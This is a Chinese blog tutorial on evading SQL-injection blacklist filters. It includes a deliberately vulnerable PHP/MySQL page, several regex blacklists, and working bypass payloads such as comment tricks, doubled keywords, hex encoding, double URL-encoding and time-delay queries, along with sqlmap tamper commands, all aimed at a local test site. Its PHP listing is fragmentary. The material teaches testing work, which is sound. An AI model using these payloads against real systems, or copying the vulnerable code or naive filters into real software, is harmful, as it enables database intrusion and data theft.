在实际的项目开发中,程序员一般都会使用函数过滤一些字符,以防止SQL注入比如魔术引号magic_quotes_gpc()之前的文章有提过,再比如preg_replace()函数过滤了一些字符。

preg_replace('A','B','C')  # 执行一个正则表达式的搜索和替换

搜索C中符合A的部分,然后用B来代替。

mixed preg_replace ( mixed $pattern , 
mixed $replacement , 
mixed $subject [, int $limit = -1 [, int &$count ]] )

//搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

简单的写个过滤黑名单:

function blacklist($id)
{
  $id = preg_replace('/or/i',"",$id);      //过滤 or 不分大小写
  $id = preg_replace('/and/i',"",$id);     //过滤 and 不分大小写
  $id = preg_replace('/[\/\*]/',"",$id);   //过滤 /*
  $id = preg_replace('/[--]/',"",$id);     //过滤 --
  $id = preg_replace('/[*]/',"",$id);      //过滤 #  %23
  $id = preg_replace('/[\s]/',"",$id);     //过滤 空格 %20
  $id = preg_replace('/[\/\\\\]/',"",$id); //过滤 斜杠 \ 反斜杠 /
  return $id;
}

过滤了就注入了吗?不好意思,不存在的!道高一尺魔高一丈,虽然过滤了某些字符,但是已然可以绕过,达到SQL注入的目的。

注意:在使用注释符#的时候,在URL输入栏中应该输入#的URL表达式 %23 ,而不是直接输入#

在如下存在SQL注入的代码,没有任何的安全防御措施。blacklist中的是过滤的手段,目前没有任何过滤。在接下来的测试过滤绕过中,我会改变blacklist函数中的过滤语句。

$con = mysql_connect("localhost","root","root"); #数据库连接
$select_db = mysql_select_db('security');
   die("不能连接数据库!:\n" . mysql_error());
echo "------------------------------------------";echo "<br>";
echo "------------------------------------------";echo "<br>";
echo "------------------------------------------";echo "<br>";
echo "------------------------------------------";echo "<br>";
$sql = "select * from users where id=$id";
echo "------------------------------------------";echo "<br>";
echo "------------------------------------------";echo "<br>";
$res = mysql_query($sql);
    die("could get the res:\n" . mysql_error());
while ($row = mysql_fetch_assoc($res)) {
mysql_close($con);   //关闭数据库

1.过滤了空格

$id = preg_replace('/[\s]/',"",$id);

id=1 order by 1

1.1注释符/**/绕过

如果只过滤了空格,没有过滤/,那么我们可以通过/*/来绕过空格过滤
http://127.0.0.1/index.php?id=1//order//order//by//1
/**/绕过空格过滤
如果直接使用sqlmap会提示:
sqlmap跑不出来
这时候我们可以使用注释绕过,在sqlmap中,对于mysql数据库注释绕过空格的脚本:

sapce2comment.py
sqlmap命令:
python sqlmap.py -u http://127.0.0.1/index.php?id=1 --batch
--dbs --tamper=space2comment.py
--batch是让sqlmap自动选择执行过程中出现的询问请求
sqlmap的绕过脚本在目录/sqlmap/tamper下

1.2内联注释绕过

当Mysql数据库版本大于等于5.55时,可以使用内联注释(/!**/)

/*! select * from xxx where id=1 */

/*!union*/ /*!select*/@@version,2,3;

sqlmap中关于内联注释的脚本:

versionedmorekeywords.py
halfverisonedmorekeywords.py

2.区分大小写过滤了SQL关键词

function blacklist($id)
{    
    $id = preg_replace('/[\s]/',"",$id);       //过滤  空格 %20 
    $id = preg_replace('/or/',"",$id);         //过滤  or  
    $id = preg_replace('/and/',"",$id);        //过滤  and 
    $id = preg_replace('/union/',"",$id);      //过滤  union
    $id = preg_replace('/by/',"",$id);         //过滤  by 
    $id = preg_replace('/select/',"",$id);     //过滤  select  
    $id = preg_replace('/from/',"",$id);       //过滤  from
    $id = preg_replace('/floor/',"",$id);      //过滤  floor
    $id = preg_replace('/concat/',"",$id);     //过滤  concat
    $id = preg_replace('/count/',"",$id);      //过滤  count
    $id = preg_replace('/rand/',"",$id);       //过滤  rand
    $id = preg_replace('/group by/',"",$id);   //过滤  group by
    $id = preg_replace('/substr/',"",$id);     //过滤  substr
    $id = preg_replace('/ascii/',"",$id);      //过滤  ascii
    $id = preg_replace('/mid/',"",$id);        //过滤  mid
    $id = preg_replace('/like/',"",$id);       //过滤  like
    $id = preg_replace('/sleep/',"",$id);      //过滤  sleep
    $id = preg_replace('/when/',"",$id);       //过滤  when
    $id = preg_replace('/order/',"",$id);      //过滤  order  
    return $id;
}

由于先匹配到了or,所以把order中的or去除了,并且把by也去除了。
字符过滤

2.1大小写绕过

但是由于过滤没有对大写做识别,所以我们这里把关键词用大写:

1 Order By 1

绕过成功
这个在sqlmap中也是可以直接跑出来的,因为sqlmap的payload中的SQL关键字默认是大写的,而这里只过滤了小写,而且sqlmap也有专门的随机大小写的绕过脚本:randomcase.py
randomcase的部分源码

3.不区分大小写过滤了SQL关检词

对于过滤SQL关检词绕过的思路
1.尝试双拼写绕过
2.看是否有关检词漏掉过滤了
3.使用等价函数替换

function blacklist($id)
{    
    $id = preg_replace('/[\s]/',"",$id);            //过滤  空格 %20 
    $id = preg_replace('/or/i',"",$id);            //过滤  or  
    $id = preg_replace('/and/i',"",$id);           //过滤  and 
    $id = preg_replace('/union/i',"",$id);           //过滤  union
    $id = preg_replace('/by/i',"",$id);              //过滤  by 
    $id = preg_replace('/select/i',"",$id);          //过滤  select  
    $id = preg_replace('/from/i',"",$id);           //过滤  from
    $id = preg_replace('/floor/i',"",$id);           //过滤  floor
    $id = preg_replace('/count/i',"",$id);           //过滤  count
    $id = preg_replace('/rand/i',"",$id);            //过滤  rand
    $id = preg_replace('/group by/i',"",$id);        //过滤  group by
    $id = preg_replace('/substr/i',"",$id);          //过滤  substr
    $id = preg_replace('/ascii/i',"",$id);           //过滤  ascii
    $id = preg_replace('/mid/i',"",$id);             //过滤  mid
    $id = preg_replace('/like/i',"",$id);            //过滤  like
    $id = preg_replace('/sleep/i',"",$id);           //过滤  sleep
    $id = preg_replace('/when/i',"",$id);            //过滤  when
    $id = preg_replace('/order/i',"",$id);           //过滤  order  
    return $id;
}

对于不区分大小写的过滤SQL关检词,无论大小写混合都会被过滤了。
大小写混合全部过滤

3.1双拼写绕过

?id=1 ununionion selselectect 1,2,3

双拼写绕过成功
sqlmap中双拼写绕过的脚本:nonrecursivereplacement.py,该脚本对于任何数据库都可以使用。

3.2爆破SQL词看是否有关键词过滤了

这种对于不区分大小写过滤了的关键词,我们首先需要判断过滤了哪些关键词,漏掉了哪些关键词,这个可以使用SQL关键词来进行爆破,看看哪些关键词没有被过滤,然后看看这些关键词可以利用哪些注入方式。
SQL注入关键词
然后使用Burp简单爆破下,这里看length不太有用,可能需要一个个看Response,看看哪个漏掉了。

如果是那种只要请求包中有过滤关键词,则会返回特殊响应的网站,这样查看响应代码就可以一目了然的知道哪些关键词没有被过滤。

通过关键的爆破,若发现一些没有被过滤,则可以利用,比如:

ExtractValue报错注入
and
extractvalue
concat
Updatexml报错注入
and
updatexml
concat

and可以用&&来替换,在URL编码中换成%26%26即可。
extractvalue报错注入
updatexml报错注入

3.3等价函数绕过

例如:substr,substring,mid都过滤了的话,可以考虑用left();过滤了sleep()可以用benchmark()替换,过滤了group_concat可以使用concat_ws()

4.过滤了引号

'admin'
"admin"

4.1 16进制编码绕过

使用 16 进制绕过引号。一般会使用到引号的地方是在最后的 where 子句中,比如

select * from test where username='admin'; 
select * from test where username="admin";

当引号被过滤了的话, 'admin' 或者 "admin" 就没法用了,我们可以用 admin 的16进制 0x61646d696e 代替。

select*from users where username=0x61646d696e;

可以本地数据库测试一下
16进制绕过成功
这里注意一下,中文无法进行使用16进制编码

4.2 ASCII编码绕过

admin的各个字符的ASCII的值为: 97 100 109 105 110
所以我们使用concat(char(97),char(100),char(109),char(105),char(110))代替admin。
?username=concat(char(97),char(100),char(109),char(105),char(110))
ASCII编码绕过

4.5 URL编码绕过

**前提条件:后端在处理接收到的参数进行了URL解码,并且对该URL解码是在过滤函数之后才可以。

$username=$GET['username'];
$username=blacklist($username);   # 过滤函数
$username=urldecode($username);   # URL解码

当我们使用"admin"的时候,过滤函数把admin给过滤了掉了

于是我们使用 " 的URL编码的URL编码,也就是 %2522
URL编码绕过成功
在sqlmap中,对payload进行URL编码的脚本是:
charencode.py
chardoubleencode.py # 两次URL编码

5.过滤了逗号

在使用盲注的时候,会使用到substr(),substring(),mid(),limit()等函数,这些函数都需要用到逗号,如果只是过滤了逗号,则对于substr(),substring(),mid()可以使用from for的方式来绕过。对于limit()可以用offset()来绕过。

// substr() 逗号绕过
select * from test where id=1 and (select ascii(substr(username,2,1))
from admin limit 1)>97;
select * from test where id=1 and (select ascii(substr(username from 2
for 1))from admin limit 1)>97;
 
// substring() 逗号绕过
select * from test where id=1 and (select ascii(substring(username,2,1))
from admin limit 1)>97;
select * from test where id=1 and (select ascii(substring(username from
2 for 1))from admin limit 1)>97;
 
// mid() 逗号绕过
select * from test where id=1 and (select ascii(mid(username,2,1)) 
from admin limit 1)>97;
select * from test where id=1 and (select ascii(mid(username from 
2 for 1))from admin limit 1)>97;
 
// limit 逗号绕过
select * from test where id=1 limit 1,2; 
select * from test where id=1 limit 2 offset 1;

6.过滤了比较符<>

在使用盲注的时候,会用到二分法来比较操作符来进行操作,如果过滤了比较操作符,那么就需要使用到greatest()和lease()来进行绕过。greatest()返回最大值,leaset()返回最小值。

greatest(n1,n2,n3,....) # 返回输入参数的最大值
least(n1,n2,n3,....)    # 返回输入参数的最小值

select * from users where id=1 and ascii(substring(database(),0,1))>64;
select * from users where id=1 and
greatest(ascii(substring(database(),0,1)),64)>64;
 
select * from users where id=1 and ascii(substring(database(),0,1))<64;
select * from users where id=1 and
least(ascii(substring(database(),0,1)),64)<64;

在Sqlmap中,用greatest代替大于号的脚本是:greatest.py ,该脚本只针对于MySQL。

7.过滤了 or and xor not

&& 代替 and
or 代替 ||
|  代替 xor
!  代替 not

举例:

select * from users where id=1 and 1=2;
select * from users where id=1 && 1=2;

select * from users where id=1 or 1=2;
select * from users where id=1 || 1=2;

8.过滤了注释符

如果过滤了#,则可以用'||'来绕过,但是这个只限于闭合后面是单引号的情况!

如果是数字型注入,则不奏效!

9.过滤了 =

使用like,rlike,regexp

like:可以当做等于来理解
rlike:就是里面含有这个
regexp:和rlike一样,里面含有即可

如果判断是否等于,可以转换为大于小于,于是可以用> <来绕过

在Sqlmap中,用like代替=号的脚本是:equaltolike.py ,该脚本只针对于MySQL。

10.过滤了延时函数

过滤目标网站过滤了延时函数如sleep(),那么我们就必须得想其他办法使其达到延时的效果。这里我们绕过的手段是让SQL语句执行大负荷查询(笛卡尔算积),由于大负荷查询需要计算大量的数据,所以执行语句就会有延时的效果。

在MySQL数据库中,都会有一个默认的information_schema数据库。这个数据库中的tables表是整个MySQL数据库表名的汇总。columns表是整个MySQL数据库列的汇总。所以我们就可以利用information_schema.tables和information_schema.columns来进行笛卡尔算积,造成大负荷查询,以至于达到延时的效果。

我们的Payload如下,其中columns和tables这个字段可以互换,我们也可以在B后面继续加C、D等等

select * from users where id=1 and (SELECT count(*) FROM
information_schema.columns A, information_schema.columns B);



配合查询语句一起,如果要查询的结果为真,则会造成延时并显示数据。如果要查询的结果为假,则不会产生延时并且不会显示数据。

select * from users where id=1 and (ascii(substr(database(),1,1))
>100) and (SELECT count(*) FROM information_schema.columns A, 
information_schema.columns B);

没有延时

最后修改:2022 年 03 月 22 日 03 : 08 PM
如果觉得这篇文章不错,不妨赏我碎银几两。